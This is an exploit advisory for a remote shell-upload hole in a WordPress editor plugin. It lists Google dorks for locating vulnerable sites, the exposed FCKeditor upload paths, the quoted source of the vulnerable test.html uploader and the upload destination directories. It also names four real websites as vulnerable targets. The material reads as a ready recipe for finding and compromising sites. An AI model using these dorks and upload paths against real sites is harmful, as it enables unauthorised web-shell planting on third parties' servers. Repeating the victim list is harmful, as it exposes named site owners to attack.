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- ###########################################################################################################
- # Exploit Title : WordPress Monsters-Editor-10-For-WP-Super-Edit Plugins 2.3.1 Remote Shell Upload Vulnerability
- # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
- # Date : 20/12/2018
- # Vendor Homepage : thedevcouple.com ~ wordpress.org/plugins/monsters-editor-10-for-wp-super-edit/
- + github.com/wp-plugins/monsters-editor-10-for-wp-super-edit
- # Software Download Link : downloads.wordpress.org/plugin/monsters-editor-10-for-wp-super-edit.zip
- # Tested On : Windows and Linux
- # Category : WebApps
- # Version Information : 2.1 and 2.3.1
- # Exploit Risk : Medium
- # Google Dorks : inurl:''/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/''
- + intext:''Using the fMulti theme design by Fredrik Fahlstad Proudly powered by WordPress.''
- + intext:''Website Design by Cynscreations.com.''
- + intext:''Powered by Aquino Media | Designed by Aquino Media Group''
- # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ]
- + CWE-434: Unrestricted Upload of File with Dangerous Type
- # Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~ ayarsecurity.com [ Friend ]
- ###########################################################################################################
- # Exploit :
- /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
- /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/browser.html
- /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/frmupload.html
- # Directory File Path :
- /wp-content/uploads/......
- /wp-content/uploads/[YEAR]/[MONTH]....
- #################################################################################################
- # Note : This plugin Monsters-Editor-10-For-WP-Super-Edit contains a very serious vulnerability that allowed hackers to gain full control –
- modify, upload and execute files on any website running WordPress. With the plugin installed on a certain website,
- a hacker or malicious person can gain access to the web server via HTTP through a backdoor in the plugin’s directory.
- ###########################################################################################################
- Vulnerable File Code => /test.html
- ********************************
- <!--
- * FCKeditor - The text editor for Internet - http://www.fckeditor.net
- * Copyright (C) 2003-2007 Frederico Caldeira Knabben
- *
- * == BEGIN LICENSE ==
- *
- * Licensed under the terms of any of the following licenses at your
- * choice:
- *
- * - GNU General Public License Version 2 or later (the "GPL")
- * http://www.gnu.org/licenses/gpl.html
- *
- * - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
- * http://www.gnu.org/licenses/lgpl.html
- *
- * - Mozilla Public License Version 1.1 or later (the "MPL")
- * http://www.mozilla.org/MPL/MPL-1.1.html
- *
- * == END LICENSE ==
- *
- * Test page for the "File Uploaders".
- -->
- <html>
- <head>
- <title>FCKeditor - Uploaders Tests</title>
- <script language="javascript">
- function SendFile()
- {
- var sUploaderUrl = cmbUploaderUrl.value ;
- if ( sUploaderUrl.length == 0 )
- sUploaderUrl = txtCustomUrl.value ;
- if ( sUploaderUrl.length == 0 )
- {
- alert( 'Please provide your custom URL or select a default one' ) ;
- return ;
- }
- eURL.innerHTML = sUploaderUrl ;
- txtUrl.value = '' ;
- frmUpload.action = sUploaderUrl ;
- frmUpload.submit() ;
- }
- function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
- {
- switch ( errorNumber )
- {
- case 0 : // No errors
- txtUrl.value = fileUrl ;
- alert( 'File uploaded with no errors' ) ;
- break ;
- case 1 : // Custom error
- alert( customMsg ) ;
- break ;
- case 10 : // Custom warning
- txtUrl.value = fileUrl ;
- alert( customMsg ) ;
- break ;
- case 201 :
- txtUrl.value = fileUrl ;
- alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
- break ;
- case 202 :
- alert( 'Invalid file' ) ;
- break ;
- case 203 :
- alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
- break ;
- default :
- alert( 'Error on file upload. Error number: ' + errorNumber ) ;
- break ;
- }
- }
- </script>
- </head>
- <body>
- <table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%">
- <tr>
- <td>
- <table cellSpacing="0" cellPadding="0" width="100%" border="0">
- <tr>
- <td nowrap>
- Select the "File Uploader" to use:<br>
- <select id="cmbUploaderUrl">
- <option selected value="asp/upload.asp">ASP</option>
- <option value="aspx/upload.aspx">ASP.Net</option>
- <option value="cfm/upload.cfm">ColdFusion</option>
- <option value="lasso/upload.lasso">Lasso</option>
- <option value="php/upload.php">PHP</option>
- <option value="">(Custom)</option>
- </select>
- </td>
- <td nowrap> </td>
- <td width="100%">
- Custom Uploader URL:<BR>
- <input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text">
- </td>
- </tr>
- </table>
- <br>
- <table cellSpacing="0" cellPadding="0" width="100%" border="0">
- <tr>
- <td noWrap>
- <form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post">
- Upload a new file:<br>
- <input type="file" name="NewFile"><br>
- <input type="button" value="Send it to the Server" onclick="SendFile();">
- </form>
- </td>
- <td style="WIDTH: 16px"> </td>
- <td vAlign="top" width="100%">
- Uploaded File URL:<br>
- <INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">
- </td>
- </tr>
- </table>
- <br>
- Post URL: <span id="eURL"> </span>
- </td>
- </tr>
- <tr>
- <td height="100%">
- <iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe>
- </td>
- </tr>
- </table>
- </body>
- </html>
- ###########################################################################################################
- # Example Vulnerable Sites =>
- [+] dionysusrecords.com/main/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
- [+] dfrere.fr/Blog01/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
- [+] mark.langkau.org/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
- [+] tonyaquino.com/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html
- ###########################################################################################################
- # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
- ###########################################################################################################
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